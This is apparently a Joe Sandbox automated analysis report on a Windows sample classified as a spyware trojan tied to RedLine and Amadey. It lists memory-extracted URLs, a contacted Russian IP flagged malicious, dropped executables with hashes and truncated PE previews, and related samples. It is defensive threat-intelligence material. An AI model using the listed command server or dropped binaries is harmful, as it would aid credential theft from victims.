http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	twl97yF91.exe, 00000001.00000002.323169357.0000000005105000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000005199000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm8D	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id40	uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	twl97yF91.exe, 00000001.00000002.326658615.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005E41000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006060000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.000000000601B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.000000000506B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004FDE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004F52000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.00000000050F8000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006038000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003819000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000373A000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003911000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000275B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.233.20.23	unknown	Russian Federation		8749	REDCOM-ASRedcomKhabarovskRussiaRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	815798
Start date and time:	2023-02-27 09:29:18 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	W7ANVukbbj.exe
Original Sample Name:	093a149ea955420c85d54127e964879a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/4@0/1
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 28.1% (good quality ratio 27%) Quality average: 85% Quality standard deviation: 24.5%
HCA Information:	Successful, ratio: 99% Number of executed functions: 134 Number of non-executed functions: 66
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target uPD30tM82.exe, PID 5176 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:30:45	API Interceptor	11x Sleep call for process: twl97yF91.exe modified
09:31:34	API Interceptor	27x Sleep call for process: uPD30tM82.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.233.20.23	IBeoz2lT1O.exe	Get hash	malicious	Amadey, RedLine	Browse
	O3m4OQha7t.exe	Get hash	malicious	Amadey, RedLine	Browse
	cKulR3hExf.exe	Get hash	malicious	RedLine	Browse
	j0PvFMsaPX.exe	Get hash	malicious	RedLine	Browse
	Qt5NzBQSp3.exe	Get hash	malicious	RedLine	Browse
	7B4JTs3B6G.exe	Get hash	malicious	RedLine	Browse
	9sqZDwVLWx.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	sPgGBA7Yuf.exe	Get hash	malicious	RedLine	Browse
	lkpILPqpDR.exe	Get hash	malicious	RedLine	Browse
	i2vX2df3mr.exe	Get hash	malicious	RedLine	Browse
	07XNY4shKd.exe	Get hash	malicious	RedLine	Browse
	rkTCM8bhBN.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	RedLine	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
REDCOM-ASRedcomKhabarovskRussiaRU	IBeoz2lT1O.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.23
	O3m4OQha7t.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.23
	cKulR3hExf.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	j0PvFMsaPX.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	Qt5NzBQSp3.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	7B4JTs3B6G.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	9sqZDwVLWx.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	sPgGBA7Yuf.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	lkpILPqpDR.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	i2vX2df3mr.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	07XNY4shKd.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	rkTCM8bhBN.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23
	file.exe	Get hash	malicious	RedLine	Browse	193.233.20.23

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	O3m4OQha7t.exe	Get hash	malicious	Amadey, RedLine	Browse
	9sqZDwVLWx.exe	Get hash	malicious	RedLine	Browse
	sPgGBA7Yuf.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	Amadey, RedLine	Browse
	file.exe	Get hash	malicious	Amadey, RedLine	Browse
	file.exe	Get hash	malicious	Amadey, RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\twl97yF91.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MIHK5HKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKx1V:Pq5qXeqm00YqhQnouOqLqdqNq2qzcGtD
MD5:	6EBF0252D03294EB58BEA14A4F15FFEB
SHA1:	785B5C722C8DA926BDAFCCE4D1E496B0107AD1BA
SHA-256:	99B41D21DF3CD6680366E6284BB21214152BF2D0C78DE9CECEA9C55DDDC61101
SHA-512:	FC41C8C88F0C098AB123121D9F0E51F3B8943A4A46F3077D60B7289BD8771CBE4E1680D1A047ECF3FE8E1801C8FEF0E8E356C08DBB915D1ED30939E5EC44DE6B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Cultu

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\uPD30tM82.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKAHK1HJ:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxi
MD5:	F10BB43F50AF46B4AFC5C912ABFD63BB
SHA1:	8373E381D926D1023F0F50DE0D29BF8D2027DFDB
SHA-256:	CD9D9A3F7C491DF9BC3C712F9744D73EF40EC517C5223CF39CC10E11E9935720
SHA-512:	D9D04AB860934503D9E890BF8E7527F5B70D202F2371D7BF441FA82FF79CC5A1479A15DBE5C4BA1F52E81C4B7793EDE18E16195407D430BECBDA7E3611AE6958
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Download File

Process:	C:\Users\user\Desktop\W7ANVukbbj.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	382976
Entropy (8bit):	6.621520064198725
Encrypted:	false
SSDEEP:	6144:G4IyLNAYPyKfsog4gYW9aBKmMagGTFq3W:G5yZAIDEog4FW8gwFq
MD5:	8B79F6A1B67F97CA971CEF540ABF22E7
SHA1:	DB4260EEAB386F0E2414D3605F7424F5AC7E39E7
SHA-256:	F10032D8E8F46511F815FE1AA9B94C8D72D3923E0768E426A513B55CEA07E8E6
SHA-512:	CF584AB63F2089AA2F72C279077A6BDA456771D2C38A24C985BAE0CA33059AF4C5CFDE25441AD1DDA814CF6A9E186F8BC14335D6C5278B1350E674D8F4BE4F67
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 64%
Joe Sandbox View:	Filename: O3m4OQha7t.exe, Detection: malicious, Browse Filename: 9sqZDwVLWx.exe, Detection: malicious, Browse Filename: sPgGBA7Yuf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n.8...k...k...k.]_k...k.]Nk...k.]Xk...k..k...k...kL..k.]Qk...k.]Ok...k.]Jk...kRich...k................PE..L......a......................{......F............@...........................\|.....O...........................................P.....{.....................@\|.....................................p/..@............................................text...t........................... ..`.data....mz.........................@....rsrc........{.....................@..@.reloc..d_...@\|..`...x..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe

Download File

Process:	C:\Users\user\Desktop\W7ANVukbbj.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	179317
Entropy (8bit):	4.9493538664698775
Encrypted:	false
SSDEEP:	3072:axqZWXragQx+//Lb/a4de0U9Uha/xNn2pU9f2MKTV/wi4lr55R9TxlnsPsUw0jOr:IqZW/Lb/xqUh
MD5:	763CFA2A099AC8748401DF32FF369ACE
SHA1:	04842B33306B15505A913002A45E4F3E2525A244
SHA-256:	BA0CBEEDCF95B82673048964A69AA10A1D1CFF49E64077D40278C3F7232DB054
SHA-512:	5D292F63E99FB1BFBE01E4986133CFF76939D8E3AB02686BC25E84B0CEB173B6692C2EFFCFF42CBEC8D1951BC0F97AAF8E3E772F417CE753175C47A56FA82E3F
Malicious:	true
